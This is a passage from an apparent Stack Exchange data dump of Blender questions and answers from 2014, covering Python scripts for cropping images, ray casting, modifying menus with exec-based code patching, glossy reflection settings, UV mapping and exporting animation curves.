cropped_max_x - cropped_min_x&#xA;    cropped_size_y = cropped_max_y - cropped_min_y&#xA;    #original image size&#xA;    orig_size_x = orig_img.size[0]&#xA;    orig_size_y = orig_img.size[1]&#xA;&#xA;    cropped_img = bpy.data.images.new(name=&quot;cropped_img&quot;, width=cropped_size_x, height=cropped_size_y)&#xA;&#xA;    print(&quot;Exctracting image fragment, this could take a while...&quot;)&#xA;&#xA;    #loop through each row of the cropped image grabbing the appropriate pixels from original&#xA;    #the reason for the strange limits is because of the &#xA;    #order that Blender puts pixels into a 1-D array.&#xA;    current_cropped_row = 0&#xA;    for yy in range(orig_size_y - cropped_max_y, orig_size_y - cropped_min_y):&#xA;        #the index we start at for copying this row of pixels from the original image&#xA;        orig_start_index = (cropped_min_x + yy*orig_size_x) * num_channels&#xA;        #and to know where to stop we add the amount of pixels we must copy&#xA;        orig_end_index = orig_start_index + (cropped_size_x * num_channels)&#xA;        #the index we start at for the cropped image&#xA;        cropped_start_index = (current_cropped_row * cropped_size_x) * num_channels &#xA;        cropped_end_index = cropped_start_index + (cropped_size_x * num_channels)&#xA;&#xA;        #copy over pixels &#xA;        cropped_img.pixels[cropped_start_index : cropped_end_index] = &#xA;                                orig_img.pixels[orig_start_index : orig_end_index]&#xA;&#xA;        #move to the next row before restarting loop&#xA;        current_cropped_row += 1&#xA;&#xA;    return cropped_img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;How this script works&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The image class stores the pixel information as a one-dimensional array, and save 4 channels for RGBA (even if you load a .jpg).  For example, on this 2x2 image, I've labelled the order that the pixels appear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dA4EM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so if you have an image object named &lt;code&gt;my_image&lt;/code&gt;, then &lt;code&gt;my_image.pixels&lt;/code&gt; will be a 1-D array: [R value for pixel 0, G value for 0, B value for 0, A value for 0, R value for pixel 1, etc.].&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Example usage&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#crop image to 100x100 square&#xA;cropped_min_x = 300&#xA;cropped_max_x = 400&#xA;cropped_min_y = 300&#xA;cropped_max_y = 400 &#xA;input_image_filepath='/home/garrett/Desktop/kjEh.jpg'&#xA;&#xA;orig_img = bpy.data.images.load(input_image_filepath)&#xA;&#xA;cropped_img = crop_image(orig_img, cropped_min_x, cropped_max_x, cropped_min_y, cropped_max_y)&#xA;&#xA;print(&quot;Saving new image...&quot;)&#xA;cropped_img.filepath_raw = &quot;/home/garrett/Desktop/myImage6.png&quot; &#xA;cropped_img.file_format = 'PNG'&#xA;cropped_img.save()&#xA;print(&quot;Finished saving&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-06-26T18:52:16.273" LastActivityDate="2014-06-26T18:52:16.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13517" PostTypeId="2" ParentId="13510" CreationDate="2014-06-26T12:22:40.677" Score="4" Body="&lt;p&gt;Ignoring other object's which might be located between the mesh and the ray origin you can use the object's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Object.html?highlight=ray_castt#bpy.types.Object.ray_cast&quot; rel=&quot;nofollow&quot;&gt;ray_cast&lt;/a&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are multiple mesh objects, you might simply iterate over the objects, picking the one yielding the closest intersection point.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;cam = bpy.data.objects['Camera']&#xA;group = bpy.data.groups['Group']&#xA;&#xA;min = (cam.data.clip_end, None, None)&#xA;for obj in group.objects:&#xA;    v0 = obj.matrix_world.inverted() * \&#xA;         cam.matrix_world.translation&#xA;&#xA;    v1 = obj.matrix_world.inverted() * \&#xA;         cam.matrix_world * \&#xA;         Vector((0.0, 0.0, -cam.data.clip_end))&#xA;&#xA;    success, location, normal, index = obj.ray_cast(v0, v1)&#xA;    if index != -1:&#xA;        mag = (obj.matrix_world * (location - v0)).magnitude&#xA;        if mag &amp;lt; min[0]:&#xA;            min = (mag, obj, location) &#xA;&#xA;#set the cursor to the intersection point&#xA;if min[1]:&#xA;    bpy.context.scene.cursor_location = min[1].matrix_world * min[2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="3710" LastEditDate="2016-06-16T19:11:41.710" LastActivityDate="2016-06-16T19:11:41.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13518" PostTypeId="2" ParentId="13510" CreationDate="2014-06-26T14:22:36.057" Score="2" Body="&lt;p&gt;Without using python you can use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;drivers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The driver has a &lt;em&gt;Distance&lt;/em&gt; type built in already. You just input two objects and it will tell you the distance between them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L6Ru2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the empty (or any object in the scene) add a custom property and increase the max value so it can store a distance above 1.00. Then add the driver to the custom property; change the var type to &lt;em&gt;Distance&lt;/em&gt;. Change the type to &lt;em&gt;Sum Values&lt;/em&gt;. If you need it in a script then use &lt;code&gt;bpy.data.objects[&quot;objectname&quot;][&quot;propertyname&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-26T14:22:36.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13519" PostTypeId="1" CreationDate="2014-06-26T15:42:04.790" Score="5" ViewCount="1018" Body="&lt;p&gt;I would like to get the list of operators, and their order, in a menu. For example I need to get that list for the file menu (bpy.types.INFO_MT_file). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to add an element in a specific point of the menu, which is not possible with the append or prepend function. But if I can get the list of operators, I can rebuild an entire menu and insert my element where I want, that will do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I can do it with my plugins (overwriting the INFO_MT_file Class). But if another plugin do the same thing as I'm doing, we will destroy each other's layout. So any way to get a menu's children ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers !&lt;/p&gt;&#xA;" OwnerUserId="4925" LastActivityDate="2015-11-06T15:28:28.503" Title="Get list of operators in a menu layout" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13520" PostTypeId="2" ParentId="13519" CreationDate="2014-06-26T18:28:29.523" Score="5" Body="&lt;p&gt;Inserting layout elements in between is not supported and I wouldn't recommend to hack such a feature in with Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the filename of the file from which a draw function originates, granted it is a python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.INFO_MT_file.draw.__code__.co_filename&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... then check the code of that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example how to &quot;inject&quot; code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Menu Insert In-Between&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 65, 0),&#xA;    &quot;location&quot;: &quot;File menu&quot;}&#xA;&#xA;import bpy&#xA;&#xA;def main():&#xA;    insert_after = 'layout.menu(&quot;INFO_MT_file_open_recent&quot;'&#xA;    insert_code = '    layout.operator(&quot;object.select_all&quot;, text=&quot;Some OT&quot;)\n'&#xA;    bpy_type = &quot;INFO_MT_file&quot;&#xA;    bpy_type_class = getattr(bpy.types, bpy_type)&#xA;    #module = bpy_type_class.__module__&#xA;&#xA;    filepath = bpy_type_class.draw.__code__.co_filename&#xA;    if filepath == &quot;&amp;lt;string&amp;gt;&quot;:&#xA;        print(&quot;Aborting, modifications are active&quot;)&#xA;        return&#xA;    try:&#xA;        file = open(filepath, &quot;r&quot;)&#xA;        lines = file.readlines()&#xA;    except:&#xA;        print(&quot;%s couldn't be accessed, aborting.&quot; % filepath)&#xA;        return&#xA;&#xA;    line_start = bpy_type_class.draw.__code__.co_firstlineno - 1&#xA;&#xA;    for i in range(line_start, len(lines)):&#xA;        line = lines[i]&#xA;        if not line[0].isspace() and line.lstrip()[0] not in (&quot;#&quot;, &quot;\n&quot;, &quot;\r&quot;):&#xA;            break&#xA;&#xA;    line_end = i&#xA;&#xA;    # Unindent draw func by one level, since it won't sit inside a class&#xA;    lines = [l[4:] for l in lines[line_start:line_end]]&#xA;&#xA;    for i, line in enumerate(lines, 1):&#xA;        if insert_after in line:&#xA;            print(&quot;FOUND INSERT LINE&quot;)&#xA;            lines.insert(i, insert_code)&#xA;            break&#xA;    else:&#xA;        print(&quot;COULDN'T FIND INSERTION POINT&quot;)&#xA;        return&#xA;&#xA;    # Debug output&#xA;    #f = open(&quot;D:\\s.txt&quot;, &quot;w&quot;).writelines(lines)&#xA;&#xA;    l = {}&#xA;    exec(&quot;&quot;.join(lines), {}, l)&#xA;    print(l)&#xA;&#xA;    #bpy_type_class.draw.__code__ = code_object # Doesn't work, since a single func is not a module&#xA;&#xA;    bpy_type_class.draw = l['draw'] # exec defined our custom draw() func!&#xA;&#xA;def register():&#xA;    print(&quot;register menu inbetween adder&quot;)&#xA;    main()&#xA;&#xA;def unregister():&#xA;    print(&quot;unregister menu inbetween adder&quot;)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the problem remains: if a second addon tries to do the same, it will revert what the first did, unless you write a system that solely manages adding stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to replace the UILayout type to intercept every draw operation, which also allows to &quot;remove&quot; stuff like operators or properties from interface. The problem is worse here however: if a second script tries to replace the UILayout type, the entire layout system will crash and all elements disappear from UI unless they are drawn by C code alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find an implementation here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php?title=Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&amp;amp;oldid=226944#Advanced_Topics&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php?title=Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&amp;amp;oldid=226944#Advanced_Topics&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-11-06T15:28:28.503" LastActivityDate="2015-11-06T15:28:28.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13521" PostTypeId="1" AcceptedAnswerId="13529" CreationDate="2014-06-26T18:41:00.880" Score="1" ViewCount="1109" Body="&lt;p&gt;So even though I am not planning on using a Glass shader for the ground, I noticed that only objects that have Emission shaders attached are reflecting off the ground even though the Diffuse lit objects have the same level of brightness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically everything that has a Diffuse shader shows up completely black.  I've outlined these areas in the image that I've attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does seem somewhat logical that an emission shader would show up brighter in reflections but since the brightness is the same as the Diffuse lit objects it also seems very strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to get the Diffuse lit objects to show up in reflections just as the Emission lit objects do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/va5Bu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MkxQU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend ~1.5MB &lt;a href=&quot;http://www.pasteall.org/blend/30054&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/30054&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the Ray Visibility and everything is activated.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-06-27T12:06:16.180" LastActivityDate="2014-06-27T18:38:40.473" Title="Only Emission shader is reflecting off glass, objects with Diffuse show up as black" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13522" PostTypeId="1" AcceptedAnswerId="13526" CreationDate="2014-06-26T18:45:00.020" Score="1" ViewCount="94" Body="&lt;p&gt;I'm using a track pad. The settings I had for moving around, zooming, etc. were two finger pinch for zoom, one finger touch and drag for moving around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can only scroll up and down to zoom! How do I change the setting back to how it was? It was fine an hour ago. Maybe I accidentally pressed something.&lt;/p&gt;&#xA;" OwnerUserId="4976" LastEditorUserId="599" LastEditDate="2014-06-26T19:25:11.983" LastActivityDate="2014-08-24T01:21:29.793" Title="Customizing trackpad behavior" Tags="&lt;interface&gt;&lt;customization&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13523" PostTypeId="2" ParentId="13512" CreationDate="2014-06-26T19:02:46.860" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Skl files have to be unicode or it wouldn't sometimes work correctly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's a really vague statement. I'm pretty convinced they are binary files, which may or may not contain some unicode-encoded strings. But you definitely need to open them as binary files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file = open(filepath, &quot;rb&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may then decode binary strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binary_object.decode(&quot;utf-8&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading the file in binary mode will prevent decoding errors caused by non-strings (which can be a simple &lt;code&gt;'\x89'&lt;/code&gt; of a binary integer.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-26T19:02:46.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13524" PostTypeId="2" ParentId="13521" CreationDate="2014-06-26T19:03:39.417" Score="1" Body="&lt;h2&gt;Probable Cause:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Your ground plane has Incorrect ray visibility settings&lt;/strong&gt; In order to check if this is the issue, select your ground plane and diffuse objects. and make sure all the settings look like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rpX2v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they don't, change them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that a &lt;em&gt;Light path node&lt;/em&gt; could be the culprit as well.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-06-26T20:48:29.863" LastActivityDate="2014-06-26T20:48:29.863" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13526" PostTypeId="2" ParentId="13522" CreationDate="2014-06-26T19:21:01.617" Score="1" Body="&lt;p&gt;Firstly, I'm assuming that these are blender settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix your problem, I would start with &lt;strong&gt;load factory settings&lt;/strong&gt;. Loading the factory settings will reset every thing to the default settings. You can then customize from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oeSrC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-26T19:21:01.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13527" PostTypeId="1" AcceptedAnswerId="27109" CreationDate="2014-06-26T19:54:34.887" Score="0" ViewCount="176" Body="&lt;p&gt;When an object with a normal map is rendered, there are always artifacts of the polygons of the original model on the outline of the model. Is there a way to make them invisible?&#xA;Here is what I mean - &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What I get (notice the outline) - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/do2Mq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What I'm aiming for (notice the outline) - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/C31bZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think that this would impossible because if the outline polygons were invisible, the model itself would be invisible. &#xA;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question Update: I thought of this idea because when a model with normal map is rotated, the outlining polygons are not shaded by the map. I was thinking of making that area invisible. Is it possible?&#xA;Here is a render with more extreme example to show what I mean - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/KpfAn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-06-27T11:04:33.517" LastActivityDate="2015-03-14T10:53:00.067" Title="Is it possible to render an object just with the normal map?" Tags="&lt;rendering&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13528" PostTypeId="1" CreationDate="2014-06-26T20:11:58.593" Score="0" ViewCount="41" Body="&lt;p&gt;So I just downloaded 2.71 (YAY!) and tried the super-handy &quot;copy previous settings&quot; option on the splashscreen...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but Blender froze (prolly cuz I had another instance open at the time). No worries, I'll kill it and try again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...except it's not on the splashscreen anymore. Well (says I) it's gotta be somewhere: &lt;kbd&gt;space&lt;/kbd&gt; &quot;copy prev...&quot; yup! There it is!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...But it throws the error: &quot;[such-and-such-directory]/Blender/2.71 exists!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Well, I guess I can delete the existing directory (and whatever record it had) and just re-extract...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...But it still remembers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So the question is, how do I get Blender to copy the previous settings, if it thinks it already has?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-06-26T20:11:58.593" Title="How to copy previous settings after the first try?" Tags="&lt;customization&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-06-27T15:32:56.910" ContentLicense="CC BY-SA 3.0" />
  <row Id="13529" PostTypeId="2" ParentId="13521" CreationDate="2014-06-26T20:22:00.907" Score="1" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;After checking your .blend, it appears this is because you have your bounces turned way down in &lt;em&gt;Render settings &amp;gt; Light paths&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Increase the maximum allowed glossy bounces a bit (at least &lt;code&gt;1&lt;/code&gt;), and it works as expected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mgLRG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Original answer&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If it is ray visibility as &lt;a href=&quot;https://blender.stackexchange.com/a/13524/599&quot;&gt;GiantCowFilms suggested&lt;/a&gt;, I would think it's more likely to be disabled &lt;em&gt;Glossy&lt;/em&gt; rays on the diffuse objects.&lt;/p&gt;&#xA;&lt;p&gt;Because of the backwards nature of &lt;a href=&quot;https://blender.stackexchange.com/a/5821/599&quot;&gt;the way cycles traces rays&lt;/a&gt;, reflections on an object aren't directly influenced by that objects ray visibility.&lt;/p&gt;&#xA;&lt;p&gt;For example, given a  simple scene like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G6Ind.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If the glossy ground plane is invisible to diffuse rays, it still will render with reflections of diffuse objects. Removing the diffuse ray makes the diffuse object no longer affected by indirect lighting from the glossy plane (a very subtle change).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yhSng.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;However if you make the &lt;em&gt;diffuse object&lt;/em&gt; invisible to &lt;em&gt;glossy rays&lt;/em&gt;, the ground plane will not reflect the diffuse object (in this case, it will reflect sky instead):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tezTC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-27T18:38:40.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13530" PostTypeId="1" CreationDate="2014-06-26T21:05:00.260" Score="2" ViewCount="511" Body="&lt;p&gt;My goal is to automatically load a MakeHuman model and apply a CMU mocap file on it. This works perfectly fine in Python (using interactive window), but when I try to do it as a batch script, I get a weird behavior. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, moving the character so that her toe aligns with origin works differently depending on whether I use it as a script or interactively. Since we can't access bone's world coordinates directly, first I have to create an empty object at the same location and get this objects coordinates instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the script version (using a for loop), the character gets a completely different translation and it rotates a bit downwards, which does not happen when I run the steps by hand, individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mZxER.jpg&quot; alt=&quot;what it should be (when commands are entered individually)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E2GEL.jpg&quot; alt=&quot;what the script version produces&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to locate the source of the issue through going over each line, and it seems to be this section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  matrix_final = pose_bone.id_data.matrix_world * pose_bone.matrix  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The rest of the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os &#xA;&#xA;model_path = '/home/aarslan/prj/data/makehhuman_models/showcase/'&#xA;bvh_path = '/home/aarslan/Desktop/cmu_bvh_dump/'&#xA;&#xA;models = ['1']&#xA;bvhs = ['10_01']&#xA;&#xA;for m in models:&#xA;   for b in bvhs:&#xA;      this_m = os.path.join(model_path, m, m+'.mhx')&#xA;      this_b = os.path.join(bvh_path, b+'.bvh')&#xA;      bpy.ops.import_scene.makehuman_mhx(filepath=this_m)&#xA;      bpy.ops.mcp.load_and_retarget(filepath=this_b)&#xA;      #SHIFT THE CHARACTER TO ORIGIN&#xA;      bpy.data.scenes[0].frame_current= 1&#xA;      toe_b=bpy.context.object.data.bones['toe.L']&#xA;      toe_b.select=True&#xA;      bpy.context.object.data.bones.active = toe_b&#xA;      pose_bone = context.active_pose_bone&#xA;      # we can get the object from the pose bone&#xA;      bpy.ops.object.mode_set(mode='POSE')&#xA;      matrix_final = pose_bone.id_data.matrix_world * pose_bone.matrix&#xA;      # now we can view the matrix by applying it to an object&#xA;      obj_empty = bpy.data.objects.new(&quot;Test&quot;, None)&#xA;      bpy.context.scene.objects.link(obj_empty)&#xA;      obj_empty.matrix_world = matrix_final&#xA;      diff_loc = obj_empty.location&#xA;      bpy.ops.transform.translate(value = diff_loc*-1)&#xA;      bpy.ops.mcp.shift_bone()&#xA;      # END ORIGIN SHIFT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how can I make sure the script runs the way I want it? I looked into the modal() functions explanation but not sure if it'll solve the issue.&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can safely say that the primary issue is &lt;code&gt;pose_bone.matrix&lt;/code&gt; . It gives two different matrices depending on how it is called (i.e. in or outside the for loop). This is a completely unexpected behavior to me and it looks like a bug.&lt;/p&gt;&#xA;" OwnerUserId="3679" LastEditorUserId="3679" LastEditDate="2014-06-30T15:30:54.883" LastActivityDate="2014-06-30T15:30:54.883" Title="Blender script works differently in/out of for loop" Tags="&lt;python&gt;&lt;scripting&gt;&lt;armature&gt;&lt;transforms&gt;&lt;makehuman&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13531" PostTypeId="1" CreationDate="2014-06-27T01:01:08.540" Score="5" ViewCount="426" Body="&lt;p&gt;I am currently working on the hair for a female character. Two other people worked on the body, and sent me the file from which to make the hair. The body is textured, but the texture file was not packed along with the .blend. (I assumed that wasn't an issue, and went ahead with the hair anyway.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to unwrap the hair, however, many of the faces get sent to a different UV map for some reason, even though I want the hair to be a cohesive unit. Additionally, the hair is somehow connected to the body (which is a separate object). When I add texture paint to the hair, the body gets painted as well, even though the UV map does not show the body anywhere on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4EXAp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some unwanted faces showing up on the hair UV map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pvemx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be attached to the model's stomach for some reason. I need all of the faces of the hair to share the same UV map, and I need the body and hair to be completely separate objects. (The body is actually irrelevant to this project--I'm only working off of it to get the size and shape of the hair correct. The hair itself, so the programmers tell me, will be applied like a wig, so that the character can adopt different hairstyles while keeping the same body model.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the .blend: &lt;a href=&quot;http://www.pasteall.org/blend/30038&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/30038&lt;/a&gt; Thank you in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="3503" LastActivityDate="2014-06-27T01:29:11.513" Title="Why is my texture applying itself to unwanted objects?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13532" PostTypeId="1" AcceptedAnswerId="13552" CreationDate="2014-06-27T01:10:25.403" Score="3" ViewCount="2088" Body="&lt;p&gt;I'd like to use the Graph Editor to create animation curves for use in another software package. Is there a way to export the value of a curve for each frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a keyframe at frame 1 and one at frame 24. The first keyframe has a value of 0 and the second one has a value of 24. There's a Bezier interpolation between the two keyframes. I'd like to get the value for each frame in the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Possibly a Python solution? (I'm comfortable with programming)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wMdA3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-06-27T13:02:04.320" Title="Export animation curve as values?" Tags="&lt;python&gt;&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13533" PostTypeId="2" ParentId="13531" CreationDate="2014-06-27T01:12:00.930" Score="2" Body="&lt;p&gt;Both the body and the hair mesh are using the same image (&lt;code&gt;Untitled&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In BI the image displayed on the mesh in textured view is determined by what image is displayed in the UV image editor while that geometry is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new separate image for the hair (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; in the UV/image editor), then &quot;assign&quot; the hair geometry to that image by selecting it in the image editor with all of the hair geometry selected in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this doesn't affect the final render unless you have &lt;em&gt;Face textures&lt;/em&gt; enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/3772/599&quot;&gt;How is this blendfile hiding textures?&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/q/12129/599&quot;&gt;Texture mapped incorrectly in 